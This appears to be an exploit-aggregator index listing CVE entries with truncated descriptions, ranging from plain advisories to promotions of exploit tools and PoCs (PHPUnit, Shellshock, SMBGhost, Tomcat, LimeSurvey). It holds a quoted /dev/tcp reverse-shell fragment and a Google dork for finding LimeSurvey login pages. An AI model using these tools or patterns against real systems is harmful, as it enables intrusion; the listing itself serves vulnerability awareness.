CVE-2026-55795 Craft Commerce: Coupon Code Brute-Force via Rate Limit Bypass

Craft Commerce is an ecommerce platform for Craft CMS. From 4.0.0 until 4.11.2 and 5.6.5, CartController in src/controllers/CartController.php activates its RateLimiter only when the number POST or GET parameter is supplied. An unauthenticated attacker can submit couponCode values to...

CVE-2026-47630

CVE-2026-47630 — NVIDIA Triton Inference Server: arbitrary dlopen via TRITONBATCHSTRATEGYPATH Absolute path traversal in the custom batching-strategy loader of triton-inference-server/core. A model configuration parameter is passed unvalidated to dlopenRTLDNOW | RTLDLOCAL, so anyone able to...

CVE-2022-43959

CVE-2022-43959 Bitrix Vulnerability CVE-2022-43959 Description Insufficiently Protected Credentials in the AD/LDAP server settings in 1C-Bitrix Bitrix24 AD/LDAP connector module before version 23.100.0 allow remote administrators to discover an AD/LDAP administrative password by reading the sourc...

CVE-2026-56123

A flaw was found in socat. A remote attacker, acting as a malicious SOCKS5 proxy server, can exploit a heap-based buffer overflow. This vulnerability, caused by a sign-extension flaw in the DOMAINNAME reply parser, allows the attacker to write arbitrary data to memory. This could lead to arbitrar...

CVE-2023-27524

CVE-2023-27524 Insecure Default Configuration in Apache Superset Leads to Remote Code Execution Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Get start with root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r...

CVE-2022-23967

CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c for the vncviewer component. There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which wi...

CVE-2017-5638

...

CVE-2017-9841

phpunit-shell ⭐ a simple python3 script to exploit CVE-2017-9841. the exploit - CVE-2017-9841 ❗ simple script that exploits a remote code execution vulnerability found in PHPUnit before 4.8.28 and 5.x before 5.6.3. makes a post request to the target with user input system commands...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

CVE-2018-6574

CVE-2018-6574 Remote command execution in Golang go get command. CVE-2018-6574 this vulnerability impacts Golang go get command and allows an attacker to gain code execution on a system by installing a malicious library, this vulnerability was fixed in Go 1.8.7, 1.9.4 and 1.10rc2. Golang will bui...

ruby-RCE-CVE-2019-5420-

Ruby Deserialization CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 References: root@kitploit: 1 Ruby on Rails command execution vulnerability payload implementation process https://hackerone.com/reports/473888 Since ActiveSupport::MessageVerifier and...

CVE-2025-0282-Full-version

Storks: Remote Code Execution Vulnerability Exploitation Tool Overview Storks is a Python-based Proof-of-Concept PoC tool designed to demonstrate a critical Remote Code Execution RCE vulnerability, identified as CVE-2025-0282 , in a specific network appliance. This vulnerability can be exploited ...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC PoC for CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. Important: This PoC is intended solely for testing your own environments or for educational purposes. Any use of this PoC to exploit systems without proper authorization is...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2014-1303

CVE-2014-1303 PoC for Linux CVE-2014-1303 WebKit Heap based BOF proof of concept for Linux. This repository demonstrates the WebKit heap based buffer overflow vulnerability CVE-2014-1303 on Linux. Used in the seccamp lecture. NOTE: Original exploit is written for Mac OS X and PS4 PlayStation4. I'...

CVE-2024-38472

Creating a Remote Code Execution RCE Metasploit module for the SSRF vulnerability CVE-2024-38472 in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact wit...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 Authenticated RCE CVE-2021-31630 This is a modern Python 3.13+ compatible proof-of-concept exploit for CVE-2021-31630, a vulnerability in OpenPLC v3 that allows an authenticated user to upload a custom hardware layer containing malicious code, leading to remote code execution RCE on th...

CVE-2026-61534

Yayson is a JavaScript library for serializing and reading JSON:API data. Prior to 4.3.0 , Store and LegacyStore use attacker-controlled type, id, and relationship names directly as keys in plain-object lookup tables. A JSON:API document with type: "__proto__" writes onto Object.prototype, giving...